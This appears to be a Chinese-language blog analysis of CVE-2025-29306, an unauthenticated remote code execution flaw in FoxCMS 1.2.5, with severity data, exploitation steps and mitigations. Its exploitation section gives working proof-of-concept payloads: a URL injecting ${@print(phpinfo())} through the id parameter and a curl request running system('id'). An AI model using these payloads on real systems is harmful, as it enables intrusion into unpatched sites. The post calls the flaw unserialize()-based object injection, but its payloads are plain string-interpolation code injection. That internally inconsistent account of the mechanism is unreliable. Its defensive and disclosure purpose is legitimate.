FoxCMS v1.2.5 反序列化注入导致未授权远程代码执行漏洞分析

本文详细分析了CVE-2025-29306漏洞,该漏洞存在于FoxCMS v1.2.5中,由于未对用户输入的id参数进行验证直接传递给PHP的unserialize()函数,导致攻击者可以执行任意系统命令。文章包含技术细节、利用条件和缓解措施。

CVE-2025-29306 – FoxCMS v1.2.5 通过反序列化注入实现未授权远程代码执行

概述

CVE-2025-29306 是一个影响 FoxCMS 版本 1.2.5 的严重远程代码执行(RCE)漏洞。该漏洞源于对 id 参数的不安全处理,该参数未经验证直接传递给 PHP 的 unserialize() 函数。攻击者可以提供恶意的序列化 PHP 对象,通过 system() 触发任意命令执行。

CVE ID: CVE-2025-29306
严重性: 严重
CVSS 评分: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
EPSS 评分: 71.52%
受影响版本: FoxCMS ≤ 1.2.5
已修补版本: 截至撰写时尚未发布
需要认证:
影响: 远程代码执行

技术分析

FoxCMS 直接对用户提供的 id 参数使用 unserialize()。当提供恶意的序列化 PHP 对象时,FoxCMS 无意中执行了攻击者控制的 PHP 代码。

典型的负载可能注入 PHP 代码,例如:

1
${@print_r(@system("id"))}

当反序列化并评估时,这会导致任意操作系统命令执行。这种技术被称为 PHP 对象注入(POI),利用 unserialize() 作为初始注入向量。

利用条件

  • FoxCMS v1.2.5 已安装且可公开访问
  • 无需登录或认证
  • 环境中存在 PHP 反序列化小工具
  • PHP 具有 shell 访问权限(在许多配置中默认)

利用步骤

要利用此漏洞,攻击者会向易受攻击的案例显示页面制作一个 POST 请求,注入随后被写入 .php 文件的 PHP 代码。

简单浏览器 PoC
已知的漏洞利用只需调用 phpinfo():将 TARGET 替换为目标 URL 或 IP。访问该 URL 会显示完整的 phpinfo 输出,确认代码执行。

1
http://TARGET/images/index.html?id=${@print(phpinfo())}

使用 curl 的 PoC
将 phpinfo() 替换为操作系统命令,例如 id:

1
curl "http://TARGET/images/index.html?id=%24%7B%40print%28system%28%22id%22%29%29%7D"

这确认了漏洞,并演示了通过基于反序列化的注入在 FoxCMS v1.2.5 中实现远程代码执行。

缓解措施

目前尚无官方补丁。用户应:

  • 移除或替换 unserialize() 的使用,采用更安全的方法(例如 JSON 解码)
  • 过滤或验证所有输入参数
  • 阻止对易受攻击页面的公共访问
  • 部署 WAF 签名以检测序列化负载
  • 如果不需要,禁用危险的 PHP 函数,如 system()

参考

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计